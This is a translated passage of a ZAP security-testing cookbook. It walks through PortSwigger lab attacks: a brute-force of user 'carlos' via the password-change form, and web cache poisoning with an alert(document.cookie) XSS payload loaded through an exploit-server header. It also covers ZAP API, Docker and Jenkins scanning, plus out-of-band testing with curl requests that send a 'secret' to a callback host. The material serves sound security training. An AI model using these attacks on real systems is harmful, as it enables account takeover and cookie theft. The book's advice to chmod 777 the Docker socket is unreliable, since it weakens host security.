  1. 在下一步中,返回到 Request 标签并更新 GET 请求路径为 /admin,然后再次点击 Send。你将收到 200 HTTP 状态,然后看到一个特定的 href 用于删除用户账户:

图 10.9 – /admin 响应

图 10.9 – /admin 响应

  1. 更新路径以包含 /admin/delete?username=carlos 并再次发送请求以完成此步骤。你可能需要刷新浏览器页面以查看实验室的完成状态。

它是如何工作的…

当使用 Java 构建对象并且这些对象不再使用时,它们会被保存在内存中,稍后会被垃圾回收器删除。在传输数据、将数据存储在磁盘上或通过网络传输数据之前,Java 必须将这些对象转换成字节流。该对象的类必须实现 Serializable 接口才能完成此操作。如前所述,序列化使我们能够将一个对象的状态转化为字节流。实际的代码不包含在该字节流中。

恶意用户试图将修改过的序列化对象引入系统,以破坏系统或其数据,从而导致 Java 反序列化漏洞。

还有更多...

Java 应用程序通过一种称为垃圾回收的过程自动管理其内存。Java 应用程序可以通过编译为字节码在Java 虚拟机JVM)上执行。对象在堆内存中创建,堆是为 Java 程序在 JVM 上启动时保留的一块内存区域。一些对象最终会变得过时。为了释放内存,垃圾回收器会发现这些无用的对象并将其删除。

至于 Serializable 接口,它包含在java.io包中。它是一个标记接口,没有方法或字段。因此,实现该接口的类不需要定义任何方法。如果类希望能够序列化或反序列化其实例,必须实现该接口。

另见

有关 PHP 序列化的更多信息,请访问www.php.net/manual/en/function.serialize.php

对于 CyberChef,请访问gchq.github.io/CyberChef/

密码暴力破解通过密码更改

暴力破解攻击是一种通过试错法来破解登录信息、加密密钥和密码的方式。这是一种简单但有效的方法,用于未经授权访问用户账户、商业系统或网络。直到恶意用户发现正确的登录信息为止,他们会尝试多种用户名和密码组合来获得正确的认证凭证。

在这个实例中,我们将通过暴力破解攻击应用程序中的一个脆弱的密码更改功能。

准备工作

此实验需要一个 PortSwigger 学院账户和 ZAP 来拦截从服务器到浏览器的请求和响应。

如何操作...

在这个实例中,我们将通过完成 PortSwigger 学院的密码暴力破解通过密码更改实验来演示暴力攻击,寻找正确的凭证。要开始实验,请按照以下说明操作:

  1. 在通过 ZAP 代理的浏览器中导航到 URL,并登录到 PortSwigger 学院网站以启动实验(portswigger.net/web-security/authentication/other-mechanisms/lab-password-brute-force-via-password-change)。

  2. 下载 PortSwigger 提供的认证实验室密码并保存到计算机上的文本文件中。您将专门使用这些密码来进行本教程(portswigger.net/web-security/authentication/auth-lab-passwords)。

  3. 打开 ZAP 后,进入手动探索,通过启动器打开 Firefox,并解析 PortSwigger 实验室 URL。继续进入 PortSwigger 认证实验室。

重要提示

在 ZAP 中,为了更轻松地查看请求和响应,务必通过右键点击站点窗口中的网址,并选择将站点包含到上下文中,然后点击靶心图标以隐藏其他站点。这可以在信息窗口的历史选项卡中以及其他有靶心图标的地方完成。

  1. 使用提供的凭据登录实验室应用程序,并在 HUD 中设置断点。

  2. 登录后,你将进入可以更新当前密码的网页。在这里,我们将开始测试其功能。请记住,用户名是在请求中作为隐藏输入提供的。

  3. 我们将通过这个功能进行实验来枚举正确的密码,但首先,我们来看一下获取不同响应的几种方式:

    1. 输入错误的当前密码,然后输入两个匹配的新密码。如果你这样输入密码两次,账户会退出并被锁定。然后,当尝试重新登录时,会收到被锁定一分钟的错误信息,如图 10.10所示:

图 10.10 – 锁定账户信息

图 10.10 – 锁定账户信息

  1. 但如果你使用错误的当前密码,并且新密码不匹配,你将不会被登出或锁定。会出现当前密码不正确的错误信息。

  2. 最后,如果你使用正确的当前密码,但输入了两个不同的新密码,你将收到一个新密码不匹配的错误信息,显示在网页上。

  3. 历史选项卡中,打开你在Fuzzer中输入了正确的当前密码和两个不同的新密码的请求,如图 10.11所示:

图 10.11 – 更改密码的 POST 请求

图 10.11 – 更改密码的 POST 请求

  1. 点击编辑以将用户名参数更改为carlos

  2. 接下来,选择passwordcurrent-password参数中,并点击添加,再次点击添加,然后从下拉菜单中选择文件。这将添加我们的密码列表,用于暴力破解。确保其他两个新的password参数有不同的值,如前面的示例所示,图 10.11

  3. 文件有效负载中,点击选择...以打开计算机目录,导航到你保存文件的位置。

  4. 接下来,在第二个密码后面空白的地方添加第二个有效负载,strings,添加新密码不匹配的行,勾选多行框,点击添加,然后点击确定

重要提示

添加 Stings 有效负载类型有助于你在响应体的内容中执行grep 匹配

你的页面应该包含两个有效负载,如图 10.12所示:

图 10.12 – Fuzzer 有效负载

图 10.12 – Fuzzer 有效负载

  1. 开始 Fuzz 测试。

  2. 攻击会运行一段时间,停止后,查看包含Reflected一词的响应,这些响应可以在信息窗口的Fuzzer标签页中找到。排序状态栏,如图 10.13所示。滚动浏览有效载荷时,查看响应的主体,寻找<p class=is-warning>New passwords do not match。此有效载荷将是你的密码:

图 10.13 – 模糊器历史

图 10.13 – 模糊器历史

  1. 返回浏览器中的应用程序,登出当前登录的账户,然后使用carlos用户名和新发现的密码重新登录。

它的工作原理...

攻击者寻找应用程序中的区域,强行尝试多个用户名或密码,并采取不同的技术来实施攻击。最常见的四种方式如下:

  • 简单的暴力破解攻击是攻击者通过逐个手动输入来尝试猜测用户的登录信息。

  • 字典攻击是一种密码猜测攻击,攻击者输入一系列可能的密码,这些密码由将字母与符号或数字互换组成,然后与目标用户名进行对比。通常,这种攻击需要更长的时间才能成功,因此成功的可能性较低。

  • 彩虹表攻击包含一个由密码及其哈希值构成的数据库,然后将其与目标哈希进行比对。这个过程破解的时间较短。

  • 混合攻击结合了字典攻击和彩虹表攻击。

许多密码和表格来自以前泄露的地下来源,这些密码和表格被出售或在互联网上传播,并帮助进行更精准的网络攻击。

另请参见

其他可帮助构建密码列表的资源可以通过搜索引擎搜索关于所用技术的默认凭据,或利用以下链接之一:

凭据:

字典:

Web 缓存中毒

Web 缓存中毒是一种复杂的技术,攻击者通过操纵 Web 服务器及其缓存功能,向其他用户发送恶意 HTTP 响应。在本实验中,我们将利用一个脆弱的实验环境,该环境没有正确验证易受 Web 缓存中毒攻击的无密钥头部中的输入。此攻击将利用 Web 应用程序的首页,毫无防备的访问者将成为攻击目标。我们将引导你完成 Web 缓存中毒的过程,该响应将导致访问者的浏览器执行恶意 JavaScript 代码。

准备工作

此实验需要一个 PortSwigger Academy 帐号,并且需要 ZAP 来拦截从服务器到浏览器的请求和响应。

操作步骤...

在本节中,我们将列出你可以采取的步骤,以完成 PortSwigger Academy Web 缓存中毒与无密钥头部 实验,并中毒缓存以显示 cookie。启动实验的步骤如下:

  1. 在浏览器代理到 ZAP 的情况下,访问网址并登录 PortSwigger Academy 网站以启动实验:

    https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-with-an-unkeyed-header
    
  2. 捕获网站的首页。为了重新获取此响应,可以刷新网页或点击首页按钮。

  3. 查找从首页生成的GET请求,并在手动请求编辑器中打开,如图 10.14所示:

图 10.14 – GET 请求

图 10.14 – GET 请求

  1. 接下来,在网址后添加缓存破坏查询参数(/?cb=1337)。

缓存破坏头是一种 HTTP 响应头,用于防止网页浏览器缓存网页中的特定资源。在需要确保用户始终看到资源的最新版本,而不是可能已经存储在浏览器缓存中的过时版本时,这种方式非常有用。缓存破坏头通常包含一个唯一的标识符或时间戳,每次请求资源时都会发生变化,这迫使浏览器下载最新版本的资源,而不是使用缓存版本。这有助于确保用户始终可以访问网站上的最新内容。

重要提示

使用名为Parameter Digger的扩展可以自动化定位可能导致 Web 缓存中毒的漏洞参数。更多信息,请参见另见部分。

  1. 此外,添加 X-Forwarded-Host 头部,使用任何随机主机名,如 图 10.15 所示,诸如 zaproxy.org,然后点击 发送

图 10.15 – 缓存破坏查询和 X-Forwarded-Host 头

图 10.15 – 缓存清除查询和 X-Forwarded-Host 头部

  1. 当使用 X-Forwarded-Host 头部时,网页应用源代码中会显示一个动态生成的引用,用于导入存储在 /resources/js/tracking.js 的 JavaScript 文件。

查找资源所需的所有细节都包含在这个绝对 URL 中,如 图 10**.16 所示:

图 10.16 – 网页应用源代码中的动态 URL

图 10.16 – 网页应用源代码中的动态 URL

  1. 此外,在查看响应时,如 图 10**.16 所示,响应中包含 X-Cache: hit 头部。如果看到 X-Cache: miss 头部,请继续点击 发送,直到获得命中结果:

图 10.17 – X-Cache: miss 响应

图 10.17 – X-Cache: miss 响应

X-Cache 头部是一个 HTTP 响应头部,用于指示资源是从网页服务器的缓存中提供的,还是直接从源服务器提供的。如果头部包含 hit 的值,则表示资源是从缓存中提供的,这比直接从源服务器提供资源更快捷、更高效。这对于提高网站性能非常有用,因为它可以减少服务器与客户端之间传输的数据量。

  1. 通过这些信息,点击链接前往攻击服务器并更新文件名为来自绝对 URL 的 JavaScript 路径:

     /resources/js/tracking.js
    
  2. 接下来,输入一个 JavaScript XSS 负载到请求体中,并点击 保存 以保存攻击:

     alert(document.cookie)
    
  3. 再次打开 GET 请求并在 手动响应编辑器 中删除缓存清除参数,然后添加指向攻击服务器的 X-Forwarded-Host 头部(确保使用攻击页面顶部提供的 EXPLOIT-SERVER-ID):

     X-Forwarded-Host: EXPLOIT-SERVER-ID.exploit-server.net
    

图 10.18 – 网页缓存污染的 GET 请求

图 10.18 – 网页缓存污染的 GET 请求

重要提示

在构造 GET 请求时,务必移除缓存清除头部,并且在添加攻击服务器 URL 时,不要包括 https:// 或尾部的 /

  1. 点击 发送,并继续发送请求,直到攻击服务器 URL 在响应中显示,并且头部中包含 X-Cache: hit,如 图 10**.19 所示:

图 10.19 – 成功的攻击请求

图 10.19 – 成功的攻击请求

  1. 一旦获得命中结果,打开浏览器中的网页应用并刷新页面。这将把被污染的网页缓存 URL 加载到浏览器中,触发 alert() JavaScript 负载,如 图 10**.20 所示。

重要提示

这个实验的网页缓存会在每 30 秒过期。务必迅速进行测试。

  1. 你可能需要继续发送恶意的 GET 请求,然后刷新 Web 应用浏览器页面,才能使网页中毒并加载执行载荷:

图 10.20 – XSS 载荷执行

图 10.20 – XSS 载荷执行

它是如何工作的...

Web 缓存中毒通常涉及通过篡改对 Web 服务器请求的 HTTP 头部,以使服务器缓存一个恶意或错误的响应版本。例如,攻击者可能会发送一个伪造的 Last-Modified 头部,指示响应应该被视为新鲜的,并由服务器缓存,即使它包含恶意或错误的内容。当后续请求相同资源时,服务器将从缓存中提供被污染的响应,而不是从原始服务器请求新副本。

另见

查找参数的工具被称为 Param Digger。它揭示了那些晦涩、不相关或隐藏的特征,这些特征有助于扩大攻击面,并使发现漏洞变得更加简单。它使用暴力破解技术,通过提供的种子 URL 来查找参数:www.zaproxy.org/docs/desktop/addons/parameter-digger/

第十一章:ZAP 高级探索

这里是最后一章。你已经了解了 Zed Attack ProxyZAP)提供的各种选项,从浏览界面到配置,从爬取 web 应用、扫描和报告,到了解身份验证、授权、会话管理、未经验证输入的注入攻击,以及业务逻辑测试、客户端攻击和一些高级技术。最后一章将节奏有所变化,探讨 ZAP 的其他实现和用途。我们将介绍如何使用 OWASP ZAP GUI 开始 web 爬虫并扫描 API 漏洞,同时也会介绍如何使用 Docker 中的 API 扫描 web 应用。我们还将讨论并演示如何将 ZAP 集成到 Jenkins 流水线中,进行 web 应用的动态分析,并讲解如何安装、构建和配置 ZAP GUI OAST 服务器,进行带外漏洞检测。

在本章中,我们将涵盖以下内容:

  • 如何使用 ZAP GUI 本地 API 扫描目标

  • 如何通过 Docker 使用 ZAP API

  • 在 Jenkins CI DevOps 流水线中利用 ZAP DAST 测试

  • 安装、配置和运行 ZAP GUI OAST 服务器

技术要求

在本章中,你需要安装多个工具,这些工具将与 ZAP 协同工作以完成各项配方。对于 API 配方,你需要安装 Docker 和 OWASP ZAP API 的命令行脚本。Docker 还将用于 Jenkins 流水线以及独立的 BOAST 服务器。此外,我们将继续使用 Mozilla Firefox 浏览器和 GitHub Juice-shop 应用代码的分支。最后,我们将使用命令行工具 cURL 进行测试。

如何使用 ZAP GUI 本地 API 扫描目标

ZAP API 扫描是 ZAP Docker 镜像中包含的脚本。它经过优化,能够通过本地文件或 URL 扫描由 OpenAPI、SOAP 或 GraphQL 指定的 API。它会导入你提供的定义,然后对发现的 URL 进行主动扫描。ZAP API 使得将 ZAP 功能集成到脚本和应用程序中成为可能。在这个配方中,我们将演示如何下载 ZAP Docker 镜像,然后运行它以扫描 Juice-Shop URL。

准备工作

需要安装 Docker 以及 ZAP Docker 镜像。确保 ZAP 镜像能够拦截从服务器到浏览器的请求和响应。我们还将使用命令行来运行镜像并启动爬虫和扫描。还需要使用 OWASP ZAP Desktop:

 https://www.docker.com/products/docker-desktop

如何操作…

基于 ZAP API 的有效自动化分析可以帮助识别新出现的漏洞。通过使用当前的功能回归测试套件和 ZAP Python API,OWASP ZAP 将帮助你将安全测试自动化,并将其集成到应用程序的持续集成/持续交付CI**/CD**)流水线中。

重要提示

ZAP API 扫描是 ZAP Docker 镜像中可用的脚本。在这里下载 OWASP ZAP Docker:docker** **pull owasp/zap2docker-stable

  1. 通过运行桌面可执行文件、zap.sh脚本(Linux/macOS)或zap.bat脚本(Windows)启动 OWASP ZAP:

     Windows: .\zap.bat
    
     Linux/Mac: ./zap.sh
    
     Cross Platform: java -Xmx512m -jar zap-2.12.0.jar
    

重要说明

要以无头模式运行 ZAP,请使用 -daemon 标志。OWASP ZAP 守护程序模式是一个功能,允许工具作为守护程序或后台服务在计算机上运行。如果您希望设置对 Web 应用程序的持续扫描或希望使用 OWASP ZAP API 远程控制工具,则此功能可能会非常有用。

  1. 在 OWASP ZAP UI 中,打开工具然后选择选项,转到API选项卡。注意 API 密钥,如图 11**.1所示,以及与 API 使用允许的 IP 地址和其他选项。您可以勾选以启用 API 和 Web UI(127.0.0.1:PORT**/**UI或/json)。此外,还有一些仅推荐用于测试目的的调试选项,如禁用 API 密钥

图 11.1 – API 选项

图 11.1 – API 选项

  1. 要开始,请确保从 Marketplace 添加适当的插件。OWASP ZAP 支持 OpenAPI、GraphQL 和 SOAP。

  2. 要启动扫描,只需从快速启动菜单中使用自动化扫描并扫描端点。唯一的区别是确保 URL 具有适当的 API 范围:

     OpenAPI: https://www.example.com/openapi.json
    
     GraphQL: https://www.example.com/graphql
    
  3. 结果将显示在同一信息窗口下的警报选项卡中,如图 11**.2所示:

图 11.2 – GraphQL 警报结果

图 11.2 – GraphQL 警报结果

工作原理…

您可以使用多种不同的方法与 ZAP API 扫描程序进行交互,以执行各种任务,例如蜘蛛爬行 Web 应用程序以了解其内容、寻找应用程序漏洞或生成报告。通过向由活动 ZAP 实例提供的 ZAP API 端点发出 HTTP 请求,这是使用 ZAP API 的标准过程。根据您设置工具的方式,端点将位于特定的 URL 上。

有几种方法可以使用 ZAP API 扫描程序。它允许您扫描单个网页、整个 Web 应用程序或一组连接的在线应用程序。此外,它还可用于自动执行多种与安全相关的操作,包括计划扫描、生成报告和与其他安全解决方案连接。

如何通过 Docker 使用 ZAP API

使用 Docker 执行和管理 ZAP 应用程序称为通过 Docker 运行 ZAP。

如果您希望在容器化环境中运行 ZAP 或快速安装和操作多台机器上的 ZAP,则这可能会有所帮助。

准备工作

您必须在计算机上安装 Docker,并从 Docker Hub 获取 ZAP Docker 镜像,以便通过 Docker 访问 ZAP API。

然后可以将镜像作为 Docker 容器运行,并在容器运行时通过 ZAP API 与容器进行通信。

如何操作…

当你运行 ZAP Docker 镜像时,ZAP 应用程序将在容器内启动。然后,ZAP 将处理任何发送到运行中容器的请求,使用 ZAP API。你可以使用 ZAP API 提供的各种方法与 ZAP 交互,例如爬取一个 Web 应用程序以了解其内容,寻找应用漏洞或生成报告:

  1. 除了通过图形用户界面(GUI)运行 API 扫描,你还可以通过命令行使用 Docker 启动扫描。

  2. 要通过 Docker 命令行使用 API,打开终端会话并运行 Docker 拉取 ZAP 镜像:

    docker pull owasp/zap2docker-stable
    
  3. 接下来,在下载完镜像后,再次运行 Docker,但这次是为了创建一个运行 ZAP API 的 ZAP 容器,如下所示:

    docker run -t owasp/zap2docker-stable zap-api-scan.py -t https://www.example.com/openapi.json -f openapi
    
  4. 过一会儿,命令行会展示正在运行的攻击及其结果,是否通过、失败或有其他警告,如 图 11.3 所示。

图 11.3 – Juice-Shop 的 Docker API 扫描

图 11.3 – Juice-Shop 的 Docker API 扫描

你将在最后看到结果(见 图 11.4)。

图 11.4 – Docker API 扫描结果

图 11.4 – Docker API 扫描结果

默认情况下,脚本执行以下操作:

  • 导入指定的 API 定义

  • 使用针对 API 特定扫描配置文件的扫描主动扫描 API

  • 通知命令行任何发现的问题

重要提示

如果没有发现漏洞,并不意味着你的 API 是安全的。你可能需要进行手动渗透测试。

它是如何工作的…

该 API 提供了一组方法,可以用来执行各种操作,例如启动和停止扫描、设置扫描目标以及检索扫描结果。

要使用 OWASP ZAP API,你需要向 API 端点发送 HTTP 请求,该端点通常与 ZAP 应用程序托管在同一台机器上。该 API 使用 表现层状态转移RESTful)设计,这意味着你可以使用标准的 HTTP 方法(如 GETPOSTPUTDELETE)来执行不同的操作。

当你使用 OWASP ZAP API 启动扫描时,工具将开始爬取目标 Web 应用程序,并执行各种类型的测试来识别漏洞。这些测试可能包括寻找 SQL 注入(SQLI)漏洞、跨站脚本XSS)漏洞以及其他可能被攻击者利用的漏洞。

扫描完成后,OWASP ZAP API 将提供一份报告,详细说明所识别的任何漏洞。报告通常会包括漏洞类型、漏洞在应用程序中的位置以及修复漏洞的建议。

还有更多…

除了通过 HTTP 请求使用 OWASP ZAP API 外,还有许多客户端库和语言绑定可供使用,使得在不同编程语言中使用 API 更加方便。这些库提供了一组函数和方法,可以用来发起 API 调用并与 ZAP 工具交互,而不需要手动构造和发送 HTTP 请求。

例如,针对 Python、Java 和 C# 等语言,提供了客户端库,允许您在自己的程序中使用 OWASP ZAP API。使用这些库可以更容易地将 ZAP 工具集成到您的应用程序或流程中,同时通过处理 API 调用和分析响应的复杂性,为您节省时间。

还有许多其他方法可以根据您的具体需求使用 OWASP ZAP API。例如,您可以将 API 用于自动化安全测试,作为 CI/CD 管道的一部分,或将 ZAP 工具集成到自定义的安全工具或平台中。您还可以使用 API 定期执行扫描,或响应特定事件,例如将新代码部署到生产环境中。

另请参阅

在运行 API 脚本时,以下是一些可以与 ZAP API 一起使用的命令选项:

 Options: -c config_file config file for INFO, IGNORE or FAIL warnings -u config_url URL config file for INFO, IGNORE or FAIL warning -g gen_file generate default config file(all rules set to WARN) -r report_html file to write the full ZAP HTML report -w report_md file to write the full ZAP Wiki(Markdown) report -x report_xml file to write the full ZAP XML report -a include the alpha passive scan rules as well -d show debug messages -P specify listen port -D delay in seconds to wait for passive scanning -i default rules not in the config file to INFO -l level minimum level to show: PASS, IGNORE, INFO, WARN or FAIL, use with -s to hide example URLs -n context_file context file which will be loaded prior to scanning the target -p progress_file progress file which specifies issues that are being addressed -s short output format - don't show PASSes or example URLs -z zap_options ZAP CLI options (-z "-config aaa=bbb -config ccc=ddd")

更多信息,请访问以下链接:

利用 ZAP DAST 测试与 Jenkins

Jenkins 是一种开源 CI/CD 技术,帮助自动化软件开发过程。Jenkins 允许开发人员无缝合并代码更改,并自动创建、测试和部署应用程序,使软件开发过程更加高效和可靠。Jenkins 被各种规模的团队广泛使用,以自动化他们的软件交付过程,并且可以轻松定制以满足每个项目的需求。在此背景下,OWASP ZAP 是一种动态应用程序安全DAST)漏洞检测工具,用于 Web 应用程序。它可以与 Jenkins 管道连接,作为 CI/CD 过程的一部分来自动化安全测试。

准备就绪

本食谱要求在 Ubuntu 22.04 虚拟机上安装 Jenkins 和 Docker。确保 Juice-Shop 已在本地运行,以便进行扫描。

重要提示

如果您在本地系统上运行 Jenkins,必须通过终端命令sudo chmod 777 /var/run/docker.sock为所有者、普通用户和非用户提供访问权限。除非您为所有者、普通用户和非用户提供访问权限,否则脚本将无法运行。

请记住,这个脚本仅用于扫描已经在生产/沙盒/UAT/SIT环境中的应用程序。

如何操作…

在本食谱中,我们将引导您完成在 Jenkins 管道中安装 OWASP ZAP 并设置自动化扫描的过程,以便在新代码迭代和推送期间运行扫描。此外,我们还将把 JIRA 的票务系统集成到该过程中,完成 DevOps 生命周期:

  1. 在 Jenkins 运行并安装 Docker 后,打开您选择的浏览器,访问 Jenkins 应用程序:

     http://<VM_IP_ADDR>:8080
    

重要提示

Jenkins 启动默认运行在https://localhost:8080/。通过编辑安装位置的jenkins.xml文件,您可以调整启动配置。其他启动配置参数,例如 JVM 选项、HTTPS 配置等,也可以在此文件中修改。

  1. 使用您在首次设置 Jenkins 时创建的凭据登录。如果您还没有完成这一步,您需要输入initialAdminPassword,该密码可以在以下路径中找到:

     Windows: C:\ProgramData\Jenkins\.jenkins\secrets
    
     Linux: /var/lib/jenkins/secrets/
    
     MacOS: /Users/Shared/Jenkins/Home/secrets/
    
  2. 在主页屏幕上,我们将创建一个新项目,命名为ZAP,并选择Pipeline,如图 11.5所示:

图 11.5 – 新的 Jenkins 项目

图 11.5 – 新的 Jenkins 项目

  1. 在下一个屏幕上,您将看到几个设置或构建触发器,但我们将跳过这些,直接进入管道脚本(见图 11.6)。

图 11.6 – 管道脚本

图 11.6 – 管道脚本

  1. 我们将输入以下 Groovy 脚本:

     pipeline {
    
     agent any
    
     parameters {
    
     choice(name: "ZAP_SCAN", choices: ["zap-baseline.py", "zap-full-scan.py"], description: "Parameter to choose type of ZAP scan")
    
     string(name: "ENTER_URL", defaultValue: "http://192.168.1.1:3000", trim: true, description: "Parameter for entering a URL to be scanned")
    
     }
    
     stages {
    
     stage('Get Write Access'){
    
     steps {
    
     sh "chmod 777 \$(pwd)"
    
     }
    
     }
    
     stage('Setting up OWASP ZAP docker container') {
    
     steps {
    
     echo "Starting container --> Start"
    
     sh "docker run --rm -v \$(pwd):/zap/wrk/:rw --name owasp -dt owasp/zap2docker-live /bin/bash"
    
     }
    
     }
    
     stage('Run Application Scan') {
    
     steps {
    
     sh "docker exec owasp ${params.ZAP_SCAN} -t ${params.ENTER_URL} -I -j --auto"
    
     }
    
     }
    
     stage('Stop and Remove Container') {
    
     steps {
    
     echo "Removing container"
    
     sh '''
    
     docker stop owasp
    
     '''
    
     }
    
     }
    
     }
    
     }
    
  2. 点击保存后,您将进入阶段视图屏幕。在这里,您可以查看状态、查看更改、立即构建、配置、删除管道、查看完整阶段视图、重命名管道,并查看管道语法,如图 11.7所示:

图 11.7 – 阶段视图

图 11.7 – 阶段视图

  1. 要运行我们刚刚输入的脚本,点击带参数构建

  2. 这将启动脚本并执行我们输入的步骤。你将看到新的构建在构建历史中运行,以及步骤在阶段视图中运行,如图 11.8所示:

图 11.8 – 新构建

图 11.8 – 新构建

  1. 你还可以点击构建历史中的编号,进入构建查看更多细节,例如控制台输出,它显示管道执行的命令和可能发生的任何错误,如图 11.9所示。错误会非常明显,控制台输出中的红色X符号或构建历史中的编号旁边的红色标记,或者在阶段视图中出现红色,表示错误发生的位置。

图 11.9 – 控制台输出

图 11.9 – 控制台输出

  1. 扫描完成后,你可以点击阶段视图中的阶段,再点击日志来查看结果,如图 11.10所示。

图 11.10 – 日志

图 11.10 – 日志

该视图将显示扫描的详细信息,你可以在这里消化所有发现,并查看这些问题发生在哪个 URL 中(参见图 11.11)。

图 11.11 – 阶段日志

图 11.11 – 阶段日志

成功的构建和扫描需要通过大量试错来调整管道设置,这需要查看管道错误或在脚本中注释掉某些部分。

它是如何工作的…

Jenkins 管道被配置为在构建过程中运行 OWASP ZAP 作为一个步骤。这可以通过使用 Jenkins 插件或直接从 Jenkins 脚本调用 OWASP ZAP 命令行界面CLI)来完成。当管道执行时,Jenkins 会触发 OWASP ZAP 对正在测试的应用程序进行安全扫描。OWASP ZAP 将尝试发现应用程序中的任何漏洞,如 SQL 注入(SQLI)缺陷或跨站脚本(XSS)漏洞。

OWASP ZAP 然后生成报告,详细列出发现的任何漏洞,并提供修复建议。此报告可以自动发送给开发团队进行审查。如果安全扫描识别到任何关键漏洞,Jenkins 管道可以配置为使构建失败,从而防止脆弱的代码被部署到生产环境。

总的来说,将 OWASP ZAP 集成到 Jenkins 管道中有助于自动化识别和解决 Web 应用程序安全漏洞的过程,使软件开发过程更加高效和安全。

还有更多…

流水线脚本只是一个简单扫描 URL 并查看流水线结果的示例。通过进一步处理脚本,您可以生成报告,并将这些报告从 Docker 容器复制到您选择的目录中。此外,我们编写的这个流水线构建还将创建参数,允许您在基线扫描和完整扫描之间切换,并输入要扫描的 URL,从而让您更快地构建应用程序的流水线。

重要提示

如果由于某种原因,您的构建未进行扫描,请检查您的 Docker 是否已停止容器。如果没有停止,您需要在再次运行构建之前停止它。

另请参阅

有关在运行 Docker 扫描时的更多详细信息,请参见以下内容:

安装、配置和运行 ZAP GUI OAST 服务器

BOAST 服务器是为接收和报告带外应用程序安全测试结果而创建的。一些应用程序安全测试只会导致被检查的应用程序产生带外响应。由于这些特定用例场景的性质,请求不会作为响应传回给攻击者,并且在客户端被隐藏在第三方 NAT 后时也不会被看到。因此,需要另一个组件来正确感知这些响应。该组件需要能够在互联网上自由访问,并且在不受第三方 NAT 限制的情况下通信接收的协议和端口。

在这个教程中,我们将指导您如何安装、配置和测试需要 OOB 的应用程序,使用 OWASP ZAP BOAST 服务器,并介绍如何安装您自己的 BOAST 服务器进行测试。

准备工作

这个教程需要 ZAP 设置为拦截并发送 BOAST 服务器和客户端应用程序之间的请求和响应。需要安装以下工具:

如何操作…

在这个教程中,我们将介绍如何安装、配置和运行您自己的 BOAST 服务来进行带外攻击的不同技术:

  1. 首先,为了使用 OAST 服务器,您需要从 ZAP Marketplace 下载附加组件(参见图 11**.12)。

图 11.12 – ZAP Marketplace

图 11.12 – ZAP Marketplace

  1. 安装完成后,转到工具菜单,然后选择选项

然后,要么转到工具 | **选项… | **OAST,单击主工具栏中的齿轮图标,然后单击OAST,要么按下Ctrl + Alt + O,然后单击OAST

  1. 要查看OAST选项,请向下滚动工具的选项菜单,直到看到OAST(参见图 11.13)。

图 11.13 – OWASP OAST 选项

图 11.13 – OWASP OAST 选项

  1. 常规下的第一个设置中,有一个下拉菜单可选择BOASTInteractsh,并且旁边有一个复选框用于选择使用 永久数据库

  2. 从下拉菜单中选择BOAST,然后进入OAST选项屏幕中的BOAST标签。永久数据库是可选项。

通过勾选使用永久数据库,你可以在 ZAP 的永久数据库中跟踪已注册的带外有效载荷。根据预定的轮询周期,持久化的有效载荷将被放入内存并与其他有效载荷一起查询。目前,只有 BOAST 服务可以提供永久数据库。

请注意,这意味着即使这些警报与第一次分析或扫描没有直接关系,ZAP 会话期间仍然可能会显示警报。

  1. 输入一个有效的服务器 URI 或使用默认 URI。用于注册和轮询的 URI 应由此地址指向:

odiss.eu:1337/events

  1. 方案、主机、端口和/events端点是有效 URI 的必要组成部分。必须在主机上运行一个有效的 BOAST 实例。

  2. 选择一个轮询间隔。这是轮询已注册 BOAST 服务器的频率,单位为秒。没有最大允许值,但需要至少 10 秒。默认设置为 60 秒。

  3. 点击注册,新条目将添加到活动服务器表中,包括有效载荷和 Canary。复制此有效载荷以在你的攻击中使用。

当请求发送到相应的有效载荷地址时,系统会返回一个被称为 Canary 值的随机字符串,该值会返回到目标 Web 应用程序。

  1. 接下来,为了测试 BOAST 有效载荷是否工作,打开命令行终端并使用 curl 请求给定的 URI(参见图 11.4):

    curl ij6azkfsiavavsmrjqpmj3pq54.odiss.eu
    

图 11.14 – 一个 curl 请求

图 11.14 – 一个 curl 请求

  1. ZAP 现在将按照你设置的频率轮询该服务器,并报告所有交互(DNS、HTTP 等)。要查看有效载荷 URI,请打开信息窗口中的OAST标签,如图 11.5所示:

图 11.15 – BOAST

图 11.15 – BOAST

我们还可以通过 curl 发送其他数据,以查看在 OAST 轮询中捕获了什么。

  1. 这里是一个发送POST请求的 curl 请求示例,包含一个简单的头部且没有数据:

    curl -X POST -H "Content-Type: application/json" ij6azkfsiavavsmrjqpmj3pq54.odiss.eu
    

-X 标志指定要使用的 HTTP 方法——在本例中为POST-H 标志用于设置自定义头部——在本例中,Content-Type 头部设置为application/json,以表明请求体包含 JSON 数据。你还可以使用--data-d 标志来包含请求体,例如:

 curl -X POST -H "Content-Type: application/json" -d '{"key": "value"}' secret.ij6azkfsiavavsmrjqpmj3pq54.odiss.eu

这发送了一个带有 JSON 编码请求体的POST请求,其中包含{"key": "value"}数据,如图 11.6所示:

图 11.16 – 一个带有秘密的 curl 请求示例

图 11.16 – 一个带有秘密的 curl 请求示例

它是如何工作的…

跨信道攻击发生在攻击者使用与受害者不同的通信路径时。这使得攻击者能够更容易地访问敏感数据或系统,因为它可以帮助他们绕过主通信路径上的任何安全措施。

有几种技术可以进行跨信道利用。例如,攻击者可能会向目标发送钓鱼邮件,诱使其点击一个链接,从而在受害者的计算机上安装恶意软件。病毒随后可能被用来访问受害者的计算机,使得攻击者能够利用它来破坏操作或窃取重要数据。

另一种技术是攻击者使用不同的通信渠道来控制已经植入受害者计算机中的恶意软件。例如,攻击者可能通过其他渠道,如电话或短信,指示病毒执行某个操作,例如删除文件或加密数据勒索。

一般而言,由于跨信道攻击使用了与防御通信路径不同的通信方式,因此它们可能很难被识别和阻止。个人和组织应当意识到这些攻击带来的危险,并采取预防措施来保护自己。这可能包括设置安全密码、安装安全软件并保持更新,以及在打开链接或下载不可信来源的文件时保持谨慎。

还有更多…

这些类型的漏洞极其微妙且对公司来说至关重要,因为恶意行为者可以利用它们。它们主要出现在 REST API 和 Web 应用程序中。

以下是一些跨信道攻击的示例:

  • 盲服务器端 XML/SOAP 注入:类似于 SQL 注入,攻击者向服务器发送 XML 或 SOAP 请求,意图操控服务器的行为,可能读取或修改数据、执行任意代码或发起其他攻击,且此攻击为“盲”攻击,因为攻击者无法立即获得攻击是否成功的反馈。

  • 盲 XSS(延迟 XSS):一种隐蔽且难以检测的攻击方式,攻击者通过将恶意代码注入到网站中,等待其他人通过访问被攻击的网页来触发攻击,可能会窃取个人信息或控制受害者的浏览器。

